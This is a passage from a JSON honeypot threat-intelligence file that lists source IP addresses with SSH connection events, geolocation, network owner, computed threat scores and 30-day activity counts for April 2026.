      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:45:02.471000+00:00",
        "last_seen_30d": "2026-04-04T22:46:10.298000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "195.184.76.4": {
      "attack_count": 4,
      "first_seen": "2026-04-14T20:09:10.586Z",
      "last_seen": "2026-04-14T20:09:11.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.8,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T05:28:40+00:00",
        "last_seen_30d": "2026-04-28T11:13:45.964000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 9,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "20.118.248.174": {
      "attack_count": 4,
      "first_seen": "2026-04-23T21:07:33.512Z",
      "last_seen": "2026-04-23T21:07:44.046Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 20.8,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 25,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T02:30:47.991000+00:00",
        "last_seen_30d": "2026-04-27T21:26:42.618000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "20.65.195.35": {
      "attack_count": 4,
      "first_seen": "2026-04-25T05:13:59.694Z",
      "last_seen": "2026-04-25T05:14:10.188Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 11.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 14,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-12T10:01:04.198000+00:00",
        "last_seen_30d": "2026-04-25T05:15:19.761000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "66.132.186.205": {
      "attack_count": 4,
      "first_seen": "2026-04-10T10:41:58.092Z",
      "last_seen": "2026-04-10T10:42:13.135Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T12:18:04+00:00",
        "last_seen_30d": "2026-04-30T21:33:26.796000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 43,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "87.71.148.246": {
      "attack_count": 4,
      "first_seen": "2026-04-19T23:07:12.103Z",
      "last_seen": "2026-04-19T23:09:28.600Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Petah Tikva",
      "asn": 12400,
      "as_org": "Partner Communications Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T23:07:12.103000+00:00",
        "last_seen_30d": "2026-04-19T23:19:29.716000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "117.72.44.129": {
      "attack_count": 3,
      "first_seen": "2026-04-24T02:00:46.109Z",
      "last_seen": "2026-04-24T02:02:46.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T02:00:46.109000+00:00",
        "last_seen_30d": "2026-04-28T15:39:49.621000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "138.197.118.33": {
      "attack_count": 3,
      "first_seen": "2026-04-27T19:36:57.851Z",
      "last_seen": "2026-04-27T19:36:58.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 59.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-27T19:36:57+00:00",
        "last_seen_30d": "2026-04-27T19:38:10.972000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 18,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "65.49.1.162": {
      "attack_count": 3,
      "first_seen": "2026-04-22T06:26:06.345Z",
      "last_seen": "2026-04-22T06:26:06.347Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T09:17:38+00:00",
        "last_seen_30d": "2026-04-30T11:20:10.455000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 207,
        "Honeytrap": 78,
        "Ciscoasa": 13,
        "Redishoneypot": 11,
        "H0neytr4p": 9,
        "Adbhoney": 4,
        "ConPot": 4,
        "Cowrie": 3,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "101.183.92.164": {
      "attack_count": 2,
      "first_seen": "2026-04-23T13:46:16.342Z",
      "last_seen": "2026-04-23T13:46:29.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T13:46:16.342000+00:00",
        "last_seen_30d": "2026-04-23T13:47:33.463000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.149.158.121": {
      "attack_count": 2,
      "first_seen": "2026-04-30T15:54:13.022Z",
      "last_seen": "2026-04-30T15:54:25.419Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Thiruvananthapuram",
      "asn": 138754,
      "as_org": "Kerala Vision Broad Band Private Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:54:13.022000+00:00",
        "last_seen_30d": "2026-04-30T15:55:35.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.186.68.158": {
      "attack_count": 2,
      "first_seen": "2026-04-14T23:42:10.528Z",
      "last_seen": "2026-04-14T23:42:23.021Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T23:42:10.528000+00:00",
        "last_seen_30d": "2026-04-14T23:43:27.607000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.250.184.183": {
      "attack_count": 2,
      "first_seen": "2026-04-29T12:37:26.110Z",
      "last_seen": "2026-04-29T12:39:26.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T12:37:26.110000+00:00",
        "last_seen_30d": "2026-04-29T12:49:32.939000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "121.129.112.124": {
      "attack_count": 2,
      "first_seen": "2026-04-21T10:52:15.434Z",
      "last_seen": "2026-04-21T10:52:29.482Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T10:52:15.434000+00:00",
        "last_seen_30d": "2026-04-21T10:53:34.748000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.100.194.101": {
      "attack_count": 2,
      "first_seen": "2026-04-10T13:06:09.998Z",
      "last_seen": "2026-04-10T13:06:23.908Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:06:09.998000+00:00",
        "last_seen_30d": "2026-04-10T13:07:33.773000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.248.124.56": {
      "attack_count": 2,
      "first_seen": "2026-04-11T05:45:44.503Z",
      "last_seen": "2026-04-11T05:46:15.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 9845,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T05:45:44.503000+00:00",
        "last_seen_30d": "2026-04-11T05:47:20.305000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.85.75.116": {
      "attack_count": 2,
      "first_seen": "2026-04-06T09:45:17.866Z",
      "last_seen": "2026-04-06T09:45:31.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Irec\u00ea",
      "asn": 52739,
      "as_org": "PROVEDOR INTERSOUSA LTDA",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T09:45:17.866000+00:00",
        "last_seen_30d": "2026-04-06T09:46:40.078000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.176.31.148": {
      "attack_count": 2,
      "first_seen": "2026-04-04T22:52:30.917Z",
      "last_seen": "2026-04-04T22:52:31.226Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 2,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T12:43:58+00:00",
        "last_seen_30d": "2026-04-05T14:10:21.210000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 16,
        "Cowrie": 2,
        "Honeyaml": 1
      }
    },
    "194.187.178.137": {
      "attack_count": 2,
      "first_seen": "2026-04-05T00:37:42.904Z",
      "last_seen": "2026-04-05T00:37:47.682Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 43.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 8.5,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T00:37:42.904000+00:00",
        "last_seen_30d": "2026-04-27T20:28:16.982000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "196.189.56.74": {
      "attack_count": 2,
      "first_seen": "2026-04-29T06:13:45.569Z",
      "last_seen": "2026-04-29T06:13:59.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:13:45.569000+00:00",
        "last_seen_30d": "2026-04-29T06:15:04.047000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "20.115.99.68": {
      "attack_count": 2,
      "first_seen": "2026-04-12T21:49:26.515Z",
      "last_seen": "2026-04-12T21:49:57.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T21:49:26.515000+00:00",
        "last_seen_30d": "2026-04-12T21:51:04.593000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.55.92.34": {
      "attack_count": 2,
      "first_seen": "2026-04-23T18:34:02.696Z",
      "last_seen": "2026-04-23T18:34:16.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 28644,
      "as_org": "Brasilsite Telecomunicacoes Ltda.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T18:34:02.696000+00:00",
        "last_seen_30d": "2026-04-23T18:35:26.474000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.214.181.197": {
      "attack_count": 2,
      "first_seen": "2026-04-13T03:54:40.090Z",
      "last_seen": "2026-04-13T03:54:52.846Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T03:54:40.090000+00:00",
        "last_seen_30d": "2026-04-13T03:56:00.208000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.136.13.230": {
      "attack_count": 2,
      "first_seen": "2026-04-21T20:07:03.538Z",
      "last_seen": "2026-04-21T20:07:03.947Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T20:07:03.538000+00:00",
        "last_seen_30d": "2026-04-21T20:08:11.143000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "45.156.128.129": {
      "attack_count": 2,
      "first_seen": "2026-04-11T22:33:27.972Z",
      "last_seen": "2026-04-11T22:33:33.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 23,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T00:01:05+00:00",
        "last_seen_30d": "2026-04-24T00:04:03.943000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 5,
        "Cowrie": 2
      }
    },
    "46.236.108.125": {
      "attack_count": 2,
      "first_seen": "2026-04-19T05:51:38.307Z",
      "last_seen": "2026-04-19T05:52:08.916Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Ume\u00e5",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T05:51:38.307000+00:00",
        "last_seen_30d": "2026-04-19T05:53:14.127000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "58.57.170.206": {
      "attack_count": 2,
      "first_seen": "2026-04-29T16:44:12.427Z",
      "last_seen": "2026-04-29T16:44:12.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:44:12.427000+00:00",
        "last_seen_30d": "2026-04-29T16:45:22.239000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "60.182.140.145": {
      "attack_count": 2,
      "first_seen": "2026-04-30T20:11:11.319Z",
      "last_seen": "2026-04-30T20:11:23.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T20:11:11.319000+00:00",
        "last_seen_30d": "2026-04-30T20:12:29.505000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.210.5.140": {
      "attack_count": 2,
      "first_seen": "2026-04-03T00:27:00.600Z",
      "last_seen": "2026-04-03T00:27:13.973Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Heerlen",
      "asn": 33915,
      "as_org": "Vodafone Libertel B.V.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
